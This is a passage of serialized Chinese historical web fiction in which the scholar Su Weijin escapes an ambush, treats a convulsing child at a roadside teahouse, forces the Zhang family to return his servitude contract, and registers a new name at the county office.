一侧是山林,一侧是河滩,
行人车马也渐渐稀少。
就在骡车即将拐过一个弯道时,
苏惟瑾敏锐地听到前方树林里传来几声轻微的鸟鸣,
鸣叫声显得有些突兀和刻意。
“大叔,前面弯道,稍微赶快点。”
苏惟瑾不动声色地吩咐道。
车夫“哎”了一声,轻轻甩了下鞭子。
骡车加快速度,刚拐过弯道,
便见前方路中间横着一棵不算太粗、
却足以拦住马车的断树!
而路旁林中,
猛地窜出四条手持棍棒、
面露凶光的汉子!
为首一人,身材魁梧,一脸横肉,
正是张承宗的心腹恶奴张彪!
“吁——!”
车夫吓得猛地勒住缰绳,骡子受惊,希津津叫了起来。
“车里的,给老子滚出来!”
张彪狞笑着,用棍子敲打着掌心,一步步逼近。
然而,他话音未落,
就听得后方传来一阵急促的脚步声和喧哗!
“小九!小九何在?!”
“哪个不开眼的敢动我苏家案首?!”
“七叔公,就在前面!”
只见官道后方,烟尘滚滚,
七叔公苏正廉一马当先,
手持枣木棍,
虽然年纪大了却步伐矫健,
他身后跟着七八个苏家青壮,
个个手持扁担、锄头、木棍,
虽然衣着破旧,却群情激愤,
气势汹汹地冲了过来!
原来七叔公在半路就接到了信,
二话不说,立刻率领族中所有能打的男丁,
一路加速急赶,正好在此刻赶到!
苏惟瑾适时地掀开车帘,
露出“惊魂未定”又“喜出望外”的表情:
“七叔公!我在这里!”
张彪等人顿时傻眼了!
他们算准了苏惟瑾孤身上路,
却万万没算到苏家这窝穷酸破落户居然敢倾巢而出,
还来得如此及时!
对方人数比自己多了一倍不止,
而且那些泥腿子手里拿的虽然是农具,
但打在人身上也绝对不好受!
张彪脸色变幻不定,看看苏惟瑾,
又看看杀气腾腾冲过来的苏家族人,
最终恶狠狠地朝地上啐了一口:
“呸!算你小子走运!我们走!”
说完,也不敢再放狠话,
带着几个手下灰溜溜地钻回林子,
连那棵拦路的树都顾不上搬了。
七叔公带人冲到车前,
上下打量苏惟瑾,见他安然无恙,
这才长长松了口气,
随即又怒目瞪向张彪等人消失的方向,骂道:
“张承宗个老王八!
竟真敢下此黑手!
当我苏家没人了吗?!”
他转回头,看着苏惟瑾,眼神复杂,
既有后怕,又有欣慰:
“好小子!有胆色!也有成算!
知道提前叫人来接!
不错!没丢我苏家的脸!”
苏惟瑾下车,
对着七叔公和众族人郑重一揖:
“多谢七叔公,
多谢各位叔伯兄弟前来接应!
此恩,惟瑾必不敢忘!”
“自家人,说这些作甚!”
七叔公大手一挥,
脸上满是扬眉吐气的光彩,
“走!回家!看以后谁还敢小瞧我西街苏家!”
苏家族人簇拥着苏惟瑾,
搬开拦路树,
浩浩荡荡又底气十足地向着沭阳城走去。
阳光洒在官道上,
将他们的影子拉得很长。
这一次,苏惟瑾凭借精准的预判、
及时的谋划和对报信者的妥善安置,
再次将张家的阴谋挫败于无形。
归途的前方,等待他的,
将是截然不同的局面。
第50章妙手仁心救稚子
且说苏惟瑾在七叔公和一群苏家族人簇拥下,
浩浩荡荡行走在官道上,
颇有些“衣锦还乡”的架势,
虽然他身上穿的还是那件洗得发白的青衫。
七叔公苏正廉腰板挺得笔直,
仿佛年轻了十岁,
逢着相熟的行商或路人投来好奇目光,
便忍不住捋着胡须,
看似随意实则炫耀地念叨两句:
“接我家小九回府,
府试案首,学政大人亲点的,
唉,孩子争气,没办法……”
引得周围一片惊叹羡慕。
苏惟瑾跟在旁边,
面上带着谦和的笑意,
心中却清明如水。
这点虚名不过是起点,
前方的路还长着呢,
院试、乡试、会试……
一关比一关难闯。
日头渐高,一行人走到一处前不着村后不着店的官道岔口,
道旁有个简陋的茶肆,
撑着个破旧的芦棚,
摆着几张歪歪扭扭的桌椅,
专做往来行脚商贩和苦力的生意。
七叔公大手一挥:
“歇歇脚!喝碗粗茶再走!
今日老夫请客!”
族人们一阵欢呼,
簇拥着过去坐下,
嚷嚷着让老板上茶。
茶肆本就嘈杂,
充斥着汗味、尘土味和劣质茶叶的苦涩味。
众人刚坐下没多久,
忽听得邻桌传来一阵撕心裂肺的妇人哭声,
夹杂着周围人慌乱的劝慰声。
“儿啊!我的宝儿!
你这是怎么了?!
别吓唬娘啊!”
“哎哟喂!这抽得厉害!
快掐人中!”
“王老倌呢?快去喊王老倌!
他不是懂点草药吗?”
苏惟瑾循声望去,
只见一个衣衫褴褛、
满面风霜的农妇瘫坐在地,
怀里紧紧抱着一个约莫两三岁的男童。
那孩子面色潮红如血,
双眼上翻,牙关紧咬,
四肢正不受控制地剧烈抽搐,
嘴角不断溢出白沫,
情况看上去十分骇人。
一个像是走乡郎中的干瘦老头正围着孩子急得团团转,
又是掐人中又是拍后背,
却毫无作用,只得连连跺脚:
“这…这是急惊风!
邪热入心包!来得太猛了!
老夫…老夫也没把握啊!”
茶肆里顿时乱成一团,
看热闹的、真心着急的围了一圈,
却都束手无策。
那农妇的哭声愈发绝望。
苏惟瑾眉头一拧,
超频大脑瞬间启动!
现代儿科常见急症知识库飞速检索匹配:
高热、抽搐、口吐白沫…
符合热性惊厥或**性惊厥特征!
“让一让!我看看!”
他霍然起身,拨开人群快步走了过去。
七叔公一愣,下意识想拉住他:
“小九,你…”
这可是人命关天的事,
万一沾上手出了差错,
好不容易得来的名声可就完了!
苏惟瑾却已蹲到那孩子身边,
语气沉着:
“大娘,别慌,让我看看。”
他伸手探了探孩子的额头,
触手滚烫!
又迅速翻开孩子眼皮看了看瞳孔(反应稍迟钝),
再仔细看了看吐出的白沫(无明显特殊气味)。
“小哥儿,你…你是郎中?”
农妇如同抓住救命稻草,
泪眼婆娑地望着他。
旁边那乡野郎中王老倌见苏惟瑾如此年轻,
还是个书生打扮,不由皱起眉头,
带着几分质疑和不悦:
“这位小相公,此乃急症,
非同儿戏!若无十足把握,还是…”
“不是十足把握,
但也不能干看着!”
苏惟瑾头也不抬,
语速极快却清晰,
“孩子烧得太厉害了!必须先降温!
老板,打盆凉水来!要干净的布!”
他一边指挥,一边用手指迅速而有力地按压孩子的人中穴、合谷穴(虎口)。
“你这是…”
王老倌还想说什么,
却见那抽搐不止的孩子,
在苏惟瑾的按压下,
痉挛的幅度似乎真的减轻了一丝!
他顿时把后面的话咽了回去,
瞪大了眼睛看着。
茶肆老板慌忙端来一盆井水,
苏惟瑾扯过一块相对干净的抹布(也顾不得许多了),
浸湿后拧得半干,
快速擦拭孩子的额头、脖颈、腋窝、
腹股沟等大血管丰富的地方,
进行物理降温。
同时,他语速飞快地询问农妇:
“大娘,孩子今天吃过什么特别的东西没有?
尤其是野地里的果子、蘑菇之类的?”
农妇早已六神无主,
哭着摇头:
“没…没吃啥啊…
就跟平时一样…早上喝了点粥…”
旁边一个同行的老汉像是孩子爷爷,
猛地一拍大腿:
“坏了!
晌午前在路边歇脚,
宝儿好像捡了几个地莓子吃!
红彤彤的…俺也没在意!”
地莓子?
多种野生莓果的统称,
有些品种确实可能引起轻微**或过敏反应,尤其对幼儿!
“可能有点**,加上天热赶路,
内外交攻,引发急惊风!”
苏惟瑾迅速判断。
“老板,你这可有绿豆?
或者甘草?哪怕有生鸡蛋也行!”
“绿豆有!有!熬绿豆汤的!”
老板连忙道。
“快!抓一把绿豆,
再加一小截甘草(没有就只用绿豆),
赶紧捣碎了用开水冲一碗浓汤来!
要快!”
苏惟瑾吩咐完,
继续手上的物理降温和穴位按压。
茶肆里众人看得目瞪口呆。
这年轻书生指挥若定,
手法古怪却似乎有效,
那孩子的抽搐果然渐渐平复下来,
虽然依旧昏迷高热,
但至少不像刚才那样吓人了。
很快,绿豆甘草水冲好了,
苏惟瑾小心翼翼地扶起孩子,
一点点试图灌下去。
孩子牙关略松,勉强咽下去几口。
时间一点点过去,
每一秒都显得格外漫长。
所有人都屏息凝神地看着。
终于,孩子的呼吸似乎顺畅了一些,
潮红的脸色也略微褪去一点,
虽然还在发烧,
但最危险的惊厥算是暂时控制住了。
“呼……”
苏惟瑾长长松了口气,
这才发觉自己后背也已被汗水浸湿。
超频大脑处理医学信息极其耗神。
“宝儿…宝儿…”
农妇感觉到怀里的孩子身体不再僵硬,
试探着呼唤,
见孩子发出细微的呻吟,
虽然虚弱,却不再是那种无意识的抽搐,
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顿时喜极而泣,抱着孩子就要给苏惟瑾磕头:
“恩公!谢谢恩公!
谢谢小神医救了我儿的命啊!”
那老汉也是老泪纵横,连连作揖。
周围顿时爆发出阵阵惊叹和赞扬!
“神了!真神了!”
“这书生年纪轻轻,
竟有这般手段!”
“瞧见没?刚才那几下按压,
定然是秘传手法!”
“小神医!当真是小神医啊!”
先前质疑的王老倌此刻也是满脸惭愧佩服,
上前拱手:
“小老儿有眼不识泰山,
小相公医术高明,老夫佩服!
却不知小相公所用之法,出自何典?
这物理降温与穴位按压,
竟比老夫的草药针砭见效更快!”
苏惟瑾连忙扶起农妇,
又对王老倌还礼:
“老先生过誉了,晚辈并非郎中,
只是平日杂书看得多些,
偶然从一本残破古籍上看过类似急救之法,
今日情急一试,侥幸奏效,
实在谈不上医术。
孩子这只是暂时稳住,
必须尽快送去城里寻良医仔细诊治,
查明**根源才好。”
他这话半真半假,既解释了来源,
又撇清了自己“行医”的身份,
避免了不必要的麻烦,
还提醒了后续治疗,
显得极为稳妥周到。
那农妇一家千恩万谢,
小心翼翼地将孩子抱上去城里的驴车。
临走前,那老汉犹豫了一下,
从怀里摸索出一个用红绳系着的、
雕刻粗糙却打磨得光亮的桃木符,
塞到苏惟瑾手里,诚恳道:
“小恩公,俺们是南京城外白石驿的农户,姓韩。
俺家闺女在南京城里魏国公府上做些浆洗的活计。
俺们穷家小户,没啥能报答的,
这桃木符是家里婆娘去栖霞寺求的,
据说能辟邪保平安…
您千万别嫌弃!
您将来若是有机会到南京,
有啥粗苯活儿需要帮忙,
尽管到白石驿找俺韩老四,
或者托人捎个信到魏国公府后门找韩大娘也行!
俺们一定尽力!”
魏国公府?南京?
苏惟瑾心中微微一动,
这可是意外的收获。
他没有推辞,接过那尚带着体温的桃木符,郑重收起:
“韩老伯言重了,举手之劳,不足挂齿。
这桃木符我收了,祝孩子早日康复。”
送走了千恩万谢的韩家一行人,
茶肆里的议论焦点彻底变成了苏惟瑾。
行商们交头接耳,
纷纷打听这年轻俊俏又身怀奇术的小相公是何方神圣。
很快,“府试案首苏小九途中妙手救幼童”的事迹,
便随着这些南来北往的行商脚夫,迅速传播开来。
苏家族人更是看得心潮澎湃,
与有荣焉!
七叔公激动地拍着苏惟瑾的肩膀,
声音都有些发颤:
“好!好小子!
不光书读得好,
还有这等菩萨心肠和本事!
真是天佑我苏家!”
苏惟瑾只是谦逊地笑了笑,
重新坐回桌前,
端起那碗早已凉透的粗茶,
慢慢啜饮。
名声、人脉、声望,
正是在这一点一滴的“举手之劳”中,悄然积累。
前方的路,似乎又开阔了些许。
第51章 衣锦还乡?不,是清算开始!
骡车吱呀,蹄声嘚嘚。
远远已能望见沭阳县城那低矮的城墙和熟悉的城门楼子。
离城还有二里地,
官道旁竟已乌泱泱聚了一群人!
为首的正是七叔公提前派回来报信的那个后生,
他一路飞奔,把“案首小相公即将荣归”的消息喊得半个县城都知道了。
此刻,以几位须发皆白、穿着体面长衫的苏家族老为首,
后面跟着一大堆看热闹的街坊邻居、顽童小儿,
甚至还有几个小商小贩推着车子跑来打算沾沾文气、做点小生意,
简直比过年赶集还热闹。
族老们一个个脸上笑成了菊花,
努力摆出德高望重的架势,
只是那不断向前张望的脖子和搓动的手指出卖了他们内心的激动。
苏家多少年没出过这等光宗耀祖的大喜事了?
还是个府试案首!
这足以让整个西街苏氏在沭阳挺直腰杆吹上十年!
人群最前面,
两个穿着半新绸衫、
脑袋扬得比谁都高的中年男子尤为显眼,
正是苏惟瑾那两位“好”叔伯
——苏有才和苏有德。
苏有才嗓门最大,
正唾沫横飞地对周围人吹嘘:
“…瞧瞧!
我就说咱家小九打小就聪明!
要不是当年我跟他二叔眼光好,
力排众议,舍下老脸把他送去张家那等书香门第当书童,
他能有今天?
近朱者赤嘛!
这读书的氛围多重要!”
苏有德在一旁频频点头,配合默契:
“就是就是!大哥说得对!
当初为了送他去张家,
我们兄弟俩可是跑断了腿,
磨破了嘴皮子!
如今孩子出息了,
我们这当叔伯的,脸上也有光不是?
这头一份功劳啊,
还得是咱们兄弟的!”
两人一唱一和,
仿佛苏惟瑾能中案首,
全是他们当年“高瞻远瞩”送他去为奴的功劳,
全然忘了当初是如何为了几两银子,
联手做局坑害亲侄儿的丑恶嘴脸。
周围的族人和街坊表面附和,
眼神里却多少带着点鄙夷和看笑话的意味。
谁不知道这两兄弟是什么货色?
只是碍于苏惟瑾即将归来,
不好当面戳穿罢了。
“来了来了!”
眼尖的后生喊了一嗓子。
只见官道尽头,
七叔公苏正廉一马当先,
走得意气风发。
他身后,苏惟瑾从那辆普通的骡车上下来,
一身洗得发白的青衫,
身形清瘦,面容平静,
在一群激动兴奋的族人簇拥下,
显得格外沉静,
与这喧闹的欢迎场面有些格格不入。
“小九!我的好侄儿!你可回来了!”
苏有才和苏有德立刻挤出人群,
脸上堆满了夸张的、
近乎谄媚的笑容,
张开双臂就想要上前拥抱,
不知道的还以为是多么亲厚的长辈。
然而,苏惟瑾的目光只是淡淡地从他们脸上扫过,
如同看路边两块无关紧要的石头,
没有丝毫停留,更无半分波动。
那眼神冷静得让苏有才兄弟俩张开的胳膊僵在半空,
脸上的笑容也瞬间冻住,显得无比尴尬。
他径直走向几位族老,
依足礼数,拱手躬身:
“小子苏惟瑾,劳烦各位叔公长辈在此迎候,折煞小子了。”
几位族老连忙笑着搀扶:
“哎哟,使不得使不得!
如今你可是秀才相公,府试案首,
该有的体面必须要有!”
“是啊是啊,
小九…啊不,惟瑾啊,
你可是替我们西街苏家大大地长脸了!”
苏惟瑾直起身,
脸上依旧带着谦和的浅笑,
却话锋一转,声音清朗,
足以让周围所有人都听得清清楚楚:
“各位长辈厚爱,惟瑾感激不尽。
只是,功名虽小有,
却有一桩心病未除,
实在难以安心归家祭祖。”
众人一愣。
七叔公似乎猜到什么,
花白的眉毛动了动,没有说话。
苏有才却按捺不住,又凑上来:
“哎呀,大侄儿,
有啥心事跟大伯说!
如今你身份不同了,
天大的事族里也能帮你……”
苏惟瑾直接打断了他,
目光扫向沭阳城内张府的方向,
语气陡然变得锐利而冰冷:
“心病便是,我苏惟瑾的**契,
至今还押在张家账房里!
一日为奴,终身为耻!
此耻不雪,何以立身?
何以面对苏家列祖列宗?”
轰!此话一出,
如同平地惊雷,
瞬间让喧闹的场面安静了下来!
所有人都愣住了,
随即爆发出更大的议论声!
是啊!怎么把这茬给忘了!
苏小九再是案首,
名义上还是张家的奴籍啊!
这身份不解除,功名
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都可能被质疑!
苏有才和苏有德的脸色瞬间变得惨白!
他们刚才还在吹嘘送侄儿去张家的“功劳”,
转眼就被侄儿当众打脸,
直指那是为奴之耻!
两人恨不得找个地缝钻进去!
苏惟瑾根本不看他们,
转身对着七叔公和几位族老,
深深一揖:
“七叔公,各位叔公!
惟瑾恳请诸位长辈,
此刻便为惟瑾做主,
前往张家,拿回**契,销此奴籍!
此乃惟瑾眼前第一要事,
亦是洗刷我苏家门楣之耻的关键一步!”
他的声音斩钉截铁,带着不容置疑的决心!
七叔公猛地反应过来,
浑浊的老眼中爆射出锐利的光芒!
对啊!打铁需趁热!
如今学政大人的赏识犹在,
案首的余威尚存,
正是借势逼张家就范的最好时机!
否则等张家缓过气来,
或是学政大人离任,
再想拿回**契就难了!
“好!”
七叔公猛地一顿手中枣木棍,
声若洪钟。
“惟瑾说得对!
我苏家儿郎,岂能长久背负奴籍?
此乃家族之耻!
老夫今日就豁出这张老脸,
陪你走一遭张家!
看那张承宗老儿,
敢不敢扣着我苏家案首的**契不放!”
其他族老也被这气氛感染,
纷纷表态:
“同去同去!”
“正当如此!”
“走!去张家!”
苏惟瑾要的就是这个效果!
借家族之势,借案首之名,
一鼓作气,直捣黄龙!
他不再看那些神色各异的族人,
更无视了面如死灰、
试图躲入人群的苏有才兄弟,
转身,率先朝着张家大宅的方向走去。
清瘦的背影在这一刻显得异常挺拔决绝。
七叔公大手一挥,
带着一群群情激奋的苏家族人,
浩浩荡荡地跟上。
原本的迎接队伍,
瞬间转变成了一支讨还公道的“大军”,
引得更多看热闹的百姓加入,
人潮汹涌,直奔东城张家!
衣锦还乡?
不。
苏惟瑾的回归,从一开始,就是清算的开始!
第一站,张家!
目标明确,节奏快准狠!
沭阳城,再次因为苏惟瑾,
而变得沸腾起来。
无数双眼睛,都聚焦向了那座曾经高不可攀的张家大宅。
第52章 对峙张家,智取**契
苏家这一支“讨契大军”浩浩荡荡穿过沭阳县城,
引得万人空巷,围观者甚众。
队伍前头,苏惟瑾步履沉稳,
面色冷峻,七叔公手持枣木棍,
昂首挺胸,一副要去砸场子的架势。
后面跟着的苏家族人也是群情激愤,
仿佛不是去要一张纸,而是去收复失地。
队伍很快便来到了东城张家大宅那气派的黑漆大门前。
高门大户,石狮威严,
平日里寻常百姓路过都要低头快走几步,
此刻却被乌泱泱一群人围得水泄不通。
张家的门房早就得了信儿,
吓得脸色发白,
却还强撑着挡在门前,
色厉内荏地喊道:
“干什么!干什么!
这里是张府!
岂容你们这些泥腿子喧哗!
赶紧散了!”
“滚开!”
七叔公根本不吃这套,
手中枣木棍往前一杵,
差点捅到门房肚子上。
“叫张承宗出来!
老夫苏正廉,今日代表西街苏氏,
来替我家族孙苏惟瑾,
讨还个公道!”
“苏…苏惟瑾?”
门房自然知道这名字,
如今可是沭阳城的风云人物,
他腿肚子有点转筋,
但还是硬着头皮。
“老…老爷身体不适,不见客!”
“身体不适?
我看是心里有鬼吧!”
苏惟瑾清冷的声音响起,
他上前一步,
目光如电扫向那门房。
“你去通报,
就说是府试案首苏惟瑾,
前来拜会旧主,
索要本该属于我的东西。
他若不见,我便请身后这许多乡亲父老,
还有衙门里的差爷们一起评评理,
看看张家是如何扣着秀才相公的**契不放的!”
这话软中带硬,直接把事情捅到了明处,更是扯上了官面人物和**!
门房冷汗涔涔,眼见外面人群越聚越多,
指指点点,议论纷纷,
说什么的都有,
大多是对张家不利的言论。
他再也撑不住,丢下一句“等着!”
便连滚爬爬地冲进府内通报。
没过多久,
张家那扇厚重的黑漆大门“吱呀”一声,
缓缓打开了一条缝。
张承宗阴沉着脸,
在一众家丁护院的簇拥下走了出来。
他这几日显然过得极差,
眼窝深陷,面色灰败,
但此刻强撑着家主的威严,
目光阴鸷地扫过众人,
最后落在苏惟瑾身上,
声音沙哑带着压抑的怒火:
“苏小九!你如今翅膀硬了,
带了这么多人堵在我张家门口,
是想**吗?!”
苏惟瑾面对他的威压,丝毫不惧,
反而上前一步,微微拱手,
语气平淡却带着刺骨的讽刺:
“张老爷言重了。
小子今日前来,
一是感谢张家这些年来的‘收留’之恩,
二是想拿回一件小东西
——当时我那两个好叔伯代签的那张**契。
此物留在贵府,恐污了张老爷清名,
还是由小子自行处置为好。”
“收留?哼!”
张承宗冷笑一声,
试图拿捏恩情。
“苏小九,你莫要忘了,
若非我张家给你一口饭吃,
你早就饿死街头了!
如今侥幸得了功名,
便忘恩负义,带人打上门来?
这就是你读圣贤书学来的道理?”
“忘恩负义?”
苏惟瑾像是听到了天大的笑话,
嘴角勾起一抹冰冷的弧度。
“张老爷说的恩情,
是指将我骗入府中,
动辄打骂,克扣衣食?
是指逼我替你那宝贝儿子捉刀代笔,
欺瞒考官?
还是指在府试之中,
威逼利诱,企图让我充当**,
行那科场舞弊、杀头抄家的勾当?!”
他声音陡然提高,字字如刀,锋利无比,
将张家的遮羞布一层层撕开!
“至于饿死街头?”
苏惟瑾目光扫向人群后面试图缩起来的苏有才兄弟,
更是毫不留情。
“若非有人为了一点银钱,
便将父母双亡的亲侄儿推入火坑,
我又何须你张家那口掺了沙子的‘饭’?!”
这话一出,不仅打了张家的脸,
更是把苏有才兄弟的皮都扒了下来!
人群中顿时响起一片鄙夷的嘘声。
张承宗被怼得脸色铁青,
气得手指发抖:“你…你血口喷人!”
“是不是血口喷人,张老爷心里清楚。”
苏惟瑾步步紧逼,语气转而低沉,
带着一丝危险的暗示。
“学政周大人对府试舞弊一案极为震怒,
虽已结案,却时常问及后续。
若他知道,主犯之家至今仍扣着举报功臣的**契,
不知会作何感想?
会不会觉得…此案仍有隐情,
值得再深挖一番?”
这话如同毒蛇,
瞬间咬中了张承宗的死穴!
他花钱平事,
最怕的就是上面再翻旧账!
学政大人若真关注,
那可不是银子能轻易摆平的了!
就在这时,人群外传来一阵吆喝:
“让让!让让!官差办事!”
只见捕快周大山带着两个衙役,
分开人群走了进来。
周大山一脸公事公办的表情,
对着张承宗随意拱了拱手:
“张老爷,打扰了。
方才接到苦主报案,
说贵府公子几日前曾在西街调戏妇人,
之前苦主惧怕不敢声张,
今日鼓足勇气来告,
按规矩,得来请张公子回衙门问个话。”
这话说得时机巧得不能再巧!
明眼人都知道,
这分明就是来给苏惟瑾站台施压的!
张承宗气得差点一口老血喷出来!
这周大山,早不来晚不来,
偏偏这个时候来!
还扯出他儿子那堆破事!
七叔公见状,立刻适时地施加压力,
枣木棍重重一顿地:
“张承宗!**契拿来!
否则今日老夫就带着全族的人,
去县衙敲鸣冤鼓!
请青天大老爷评评理,
看看这强扣秀才相公为奴,
该当何罪?!
看看你张家那些烂事,
经不经得起查!”
内有苏惟瑾拿学政威胁,
外有周大山以旧案施压,
下有苏家族人和众多百姓围观!
张承宗只觉得头晕目眩,四面楚歌!
他知道,这**契今天是无论如何也保不住了。
再硬扛下去,损失的绝不是一张纸,
而是张家在沭阳所剩无几的颜面和可能引发的更大灾祸!
“好!好!好一个府试案首!
好一个苏惟瑾!”
张承宗咬牙切齿,
每一个字都像是从牙缝里挤出来的,
充满了无尽的怨毒。
“老夫今日便成全你!”
他猛地转身,对管家吼道:
“去!账房最底层那个黑匣子!
把他的**契拿来!”
管家慌忙跑去,
很快捧着一张泛黄的纸张跑了回来。
张承宗一把夺过,看也不看,狠狠摔向苏惟瑾:
“拿去!从此你我两清!滚出我张家!”
那张轻飘飘的纸,在空中打着旋儿落下。
苏惟瑾却没有用手去接。
他只是冷冷地看着那纸飘落在地,
然后上前一步,
抬脚,稳稳
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地踩在了上面!
这个动作,充满了极致的轻蔑与侮辱!
在所有人惊愕的目光中,
他缓缓弯腰,
捡起那张代表着他无尽**过去的**契,
然后,双手捏住两端。
“嗤啦——!”
一声清脆的裂帛之声,响彻全场!
他将那**契,从中撕成了两半!
紧接着,又是几下,彻底将其撕成了碎片!
手一扬,碎纸片如同雪花般纷纷扬扬飘散。
“尘归尘,土归土。”
苏惟瑾的声音平静无波,
却带着一种斩断过去、
迎接新生的决绝。
“此契已毁,前尘旧怨,暂且勾销。
但从今日起,我苏小九与尔张家,
恩断义绝,再无瓜葛!”
阳光照在他清瘦却挺拔的身姿上,
仿似为他镀上了一层金光。
全场寂静无声,所有人都被这充满仪式感和冲击力的一幕震撼了。
然而,就在这时,
两道不和谐的身影猛地窜了出来
——正是苏有才和苏有德!
两人竟扑向那些还未落地的碎纸片,
手忙脚乱地抓了几片,
然后跳起来,对着脸色铁青的张承宗嚷嚷道:
“撕了就算完了?!没这么便宜!”
“就是!这**契本就不作数!
是你们张家欺压诱骗!”
“我侄儿在你们家当牛做马这么多久,
吃了多少苦?
受了多少罪?
精神损失费!
青春补偿费!
必须赔!”
“对!赔钱!少说也得赔…
赔五十两!不!一百两银子!”
这无耻的嘴脸,连围观群众都看不下去了,
发出一阵哄笑和鄙夷的嘘声。
张承宗正一肚子邪火没处发,
见状更是气得浑身发抖,
恨不得生撕了这两个无赖!
但他此刻只求尽快了结此事,
免得再横生枝节,
竟真的咬着后槽牙,
对管家吼道:
“拿一百两银票给他们!让他们滚!”
管家很快拿来一张百两银票。
苏有才眼睛放光,
一把抢过,和苏有德两人喜笑颜开,
揣着银票就想往自己怀里塞。
“拿来吧你!”
只听一声怒喝,
七叔公的枣木棍毫不客气地敲在苏有才的手腕上,
疼得他嗷一嗓子,银票脱手。
七叔公一把捞住银票,
转而塞到了苏惟瑾手中,
骂道:
“两个丢人现眼的东西!
这是惟瑾该得的赔偿!
有你们什么事?滚一边去!”
苏有才兄弟捂着手腕,
敢怒不敢言,
只能在众人嘲笑声中灰溜溜地躲回了人群。
苏惟瑾握着那一百两银票,
看都未看那两人一眼。
他对着七叔公和周大山点了点头,
然后目光再次扫过脸色铁青、
眼神怨毒的张承宗,淡淡道:
“张老爷,告辞。”
说完,转身,分开人群,洒然离去。
七叔公冷哼一声,带着扬眉吐气的苏家族人,昂首挺胸地跟上。
周大山也嘿嘿一笑,对着张承宗一拱手:
“张老爷,看来贵公子今日不便,
那改日再传吧,告辞。”
也带着衙役走了。
只留下张承宗站在原地,
望着苏惟瑾远去的背影,
胸口剧烈起伏,
猛地喷出一口郁结已久的鲜血,眼前一黑,向后栽去。
“老爷!老爷!”
张家门口,顿时又是一阵鸡飞狗跳。
而苏惟瑾,撕毁了**契,
怀揣着第一桶“赔偿金”,
真正意义上地,
踏上了他的狂飙之路。
第一步,完美收官。
爽快!
第53章 更名立户,苏惟瑾新生!
撕毁**契的碎纸屑尚未在张家门前散尽,
苏惟瑾便已在七叔公和一众苏家族人的簇拥下,转道直奔沭阳县衙。
目标明确——户房!
他要趁着府试案首的余热未消、
学政大人的虎皮还能扯一扯、
以及刚刚正面击溃张承宗的气势,
一鼓作气,将身份彻底落定!
沭阳县衙坐北朝南,
黑漆大门透着官府的威严。
衙门侧面的小门是办理民间户籍、田产等事务的通道。
一间不大的廨房里,
挤着几个埋首案牍的书吏,
空气中弥漫着陈旧纸张、
劣质墨汁和一丝若有若无的霉味。
七叔公显然是这里的常客,
他熟门熟路,直接绕到里面,
对着一个靠在椅背上、
正翘着二郎腿、
用长指甲剔着牙缝的中年钱书吏拱了拱手:
“钱先生,忙着呢?”
那钱书吏眼皮懒洋洋地抬了一下,
见是苏正廉,鼻子里哼了一声,
算是回应,态度颇为冷淡。
西街苏家破落户,没什么油水,
他向来不太瞧得上。
七叔公也不恼,侧身让出苏惟瑾,声音提高了几分,带着明显的自豪:
“劳烦钱先生,帮我这族孙办理一下户籍更名事宜。”
钱书吏这才正眼打量苏惟瑾,
见他虽然穿着朴素,
但气度沉静,语气稍微好了点:
“更名?原籍姓名?
现欲改何名?可有充足理由?
按规矩,更名需里甲作保,
或有功名文书为凭……”
苏惟瑾上前一步,
不卑不亢地拱手:
“有劳先生。
小子原籍姓名苏小九。”
他顿了顿,清晰地吐出三个字。
“现欲更名为,苏惟瑾。”
“苏小九?”
钱书吏觉得这名字有点耳熟,
一时没想起来,
只是习惯性地刁难。
“苏小九?
这名字不是挺好?
为何要改?
里甲作保文书带来了吗?”
这时,后面排队的一个小商贩忍不住插嘴提醒道:
“钱先生,苏小九…
就是那个…府试案首!
刚在张家门口撕了**契的那个!”
“什么?!”
钱书吏手一抖,差点把茶杯打翻!
他猛地站起身,
脸上的慵懒和倨傲瞬间消失,
取而代之的是震惊和谄媚!
“您…您就是…苏案首?!
哎哟哟!瞧我这双狗眼!
没认出来!恕罪恕罪!”
钱书吏的态度发生了一百八十度大转弯。
“您要更名?
应该的!太应该了!
苏小九哪配得上您的身份!
不知…欲改何名?”
“苏、惟、瑾。”
苏惟瑾再次一字一顿地重复,
同时从怀中取出那份府试案首捷报副本,
以及那张拼凑起来的**契,
轻轻放在案上。
“惟瑾…好名字!好名字啊!”
钱书吏双手捧起捷报副本,
仔细验看后,
脸上的笑容更加灿烂。
“有府试案首文书为凭,
还要什么里甲作保!
这就是最硬的凭证!
案首相公您稍候,
马上办!立刻办!”
他几乎是扑回座位,
手忙脚乱地翻出厚厚的黄册籍簿,
笔墨伺候的速度比平时快了十倍不止。
周围顿时议论纷纷,
眼神充满了好奇和敬畏。
“苏案首,您这新名字可有表字?”
钱书吏一边研墨一边热情地问道。
苏惟瑾从容道:
“表字,玉衡。”
他淡然解释:
“惟瑾,取自《尚书·大禹谟》‘惟精惟一,
允执厥中’,瑾,美玉也。
玉衡,乃北斗第五星,
亦有美玉之意。
惟瑾玉衡,寓意秉持初心,
如美玉般砥砺品行,
如北斗般指引方向。”
这番引经据典的解释,
不仅镇住了钱书吏和周围人,
连七叔公都听得一愣一愣,
随即老脸放光,与有荣焉!
就在钱书吏恭敬书写新户籍时,
苏家老宅那边,也得到了消息。
王氏一反常态,竟亲自端了盆温水,
拿着块干净的布巾,
找到正在后院安**着、
手里却无意识绞着衣角的苏婉,
语气是前所未有的热络:
“哎呦,我的好婉儿,
快,擦把脸!
你哥哥这就要从衙门回来了!
以后啊,这些粗活杂事你都别沾手,
有婶子呢!”
苏婉抬起小脸,眼中既有期盼,
也有一丝长久压抑后的不敢置信。
她只是乖巧地点点头,小声道:
“谢谢五婶。”
旁边几个平日里对苏婉不冷不热的族中妇人,
此刻也围了上来,七嘴八舌:
“婉儿真是越来越水灵了,
瞧这眉眼,一看就是有福气的!”
“可不是嘛,惟瑾这孩子出息了,
婉儿往后就等着享福吧!”
“以前啊,那是磨炼,
玉不琢不成器嘛!往后就好了!”
苏婉听着这些突兀的关怀,
小手紧紧攥着衣角,心中五味杂陈。
她想起哥哥被卖时这些人的冷漠,
想起自己辛苦攒钱被抢时的无助。
她知道,这一切突如其来的善意,
都源于哥哥今日的荣耀。
她并不习惯,但为了哥哥,
她愿意试着接受。
她只是默默望向院门的方向,
心中默念:“哥哥…婉妹等你。”
而族中一些年轻子弟,
如苏惟强、苏惟壮之流,
则聚在角落,脸色复杂。
他们既嫉妒苏惟瑾的一飞冲天,
又不敢再如往日般放肆议论,
只能酸溜溜地看着被众人围着的苏婉,
心里像是打翻了醋坛子。
当那枚代表官府认证的鲜红户房大印“咚”的一声,
重重盖在“苏惟瑾”三个字旁
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边时,
苏惟瑾清晰地感觉到,
灵魂深处某道无形的枷锁,
应声而碎!
